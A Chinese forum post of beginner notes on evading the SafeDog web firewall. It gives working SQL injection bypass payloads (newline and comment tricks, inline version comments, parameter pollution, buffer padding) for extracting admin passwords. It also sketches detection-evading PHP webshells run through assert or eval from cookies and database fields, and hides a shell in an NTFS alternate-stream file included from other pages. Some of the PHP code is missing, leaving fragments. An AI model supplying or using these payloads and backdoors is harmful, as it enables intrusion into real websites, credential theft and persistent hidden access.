初学Bypass笔记_某狗

sanxiu   ·   发表于 2022-07-02 15:13:00   ·   学习杂记

某狗-Bypass

SQL注入绕过

安装安全狗的时候,PHP Study必须换为“系统服务”

常见手法:

  • 大小写绕过(很老的WAF才有用)
  • 替换绕过(很老的WAF才有用)[和replace双写差不多]
  • 特殊字符绕过(%0a换行)
  • 反引号直接执行绕过(常见的UPDATA和sleep可以添加反引号执行
  • 编码绕过(比如会多次解码的东西,前提是你知道这个地方有解码)
  • 等价替换(利用其他函数代替)[union #%0aselect拦截] [union all #%0aselect 不拦截]
  • 容器特性(例如Apache的Hpp参数污染,或者是IIS的%分割)[?id=1&id=2数据库只会执行后面的&id=2,可改为id=1/*&id=2 union select 1,password,3 from admin limit 1,1%23*/] [select => s%e%l%e%c%t]
  • 白名单(管理员权限或者是127.0.0.1本地访问不拦截)
  • 缓冲区(数据太多,超出了WAF检测范围,安全狗一般4000-4500就不检测了)[改为POST,id=1 /这里填垃圾数据/ union select 1,password,3 from admin limit 1,1#]

  • /!版本号+语句/(一般是50001,寓意5.00.01,表示数据库版本>=5.00.01时中间语句才会被执行)
    例如:?id=1.1 union /*!10044select*/ 1,2,3%23 ?id=1.1 union /*!10044select 1,2,3 from*/%23(可以延长一点)
    如果from被拦截,那么以上语句就用不了
    安全狗认为内联注释/语句/中的语句都是安全的,因为都被注释了,但如果— qwe /%0a/这样的话,— 后都会注释,但%0a换行了,单行注释结束了,所以%0a后面的语句可以重新执行。

%0a换行断开注释

-- qwe /*%0a*/        相当于

-- qwe /*
union select 1,2,3 from admin */
这样就可以逃出前面的-- 注释
但是后面还有*/存在,所以加上%23

-- qwe /*
union select 1,2,3 from admin %23*/

-- qwe /*%0a union select 1,2,3 from admin %23*/

内敛注释+版本+特殊字符/仅特殊字符

?id=1 union /*!10044select 1,2,3*/ -- qwe /*%0a from admin %23*/
======> 
?id=1 union select 1,2,3 from admin #

也可以 -- qwe改为%23
?id=1 union /*!10044select 1,2,3*/ %23 /*%0a from admin %23*/

以上都为内联注释+特殊字符,可以只使用特殊字符绕过。
?id=1 union %23 /*%0a select 1,2,3 from admin limit 1,1%23*/

webshell绕过

无密码webshell-免杀

//匹配$_REQUEST[]后面的中括号时可以使用:



//匹配到UA头为1时,执行下面的语句

定义常量,用eval执行这个常量



字符串拼接+双美元符号



函数定义强行分割



类定义,传参强行分割

name");
  }
}
$user = new User;
$user->name = ''.$_REQUEST['dd'];
?>

多方式传参免杀

 $value){
  if($key=='assert'){
    $key($_REQUEST[a]);    //cookie中必须要有assert才可以执行
    }
}
  ?>


 $value){
  if($key=='assert'){
    $key($_REQUEST($value));    //cookie中要写assert=多少,这个多少就是密码
    }
}
  ?>

利用get_defined_functions()二位数组执行


  //internal中的键值,841就是assert
  //可以使用var_dump($a)查看eval的键值修改

终极绕WAF手法


//链接127.0.0.1的MySQL->maoshe数据库,查找info表中的info字段
  这里info字段的内容是eval($_REQUEST[a]);

隐藏shell文件

(win)链接蚁剑后使用终端执行

echo "" >> /:1.txt
  //这时/:1.txt这个文件已经生成


//用一个php文件包含txt文件,去访问之后用上面的密码a执行命令
//可以把include("/:1.txt")插到多个php文件中

打赏我,让我更有动力~

1 条回复   |  直到 2022-7-8 | 730 次浏览

0dm1n
发表于 2022-7-8

表哥表哥phpstudy新版本呢,没搭过安全狗,新版本好像没有系统服务

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.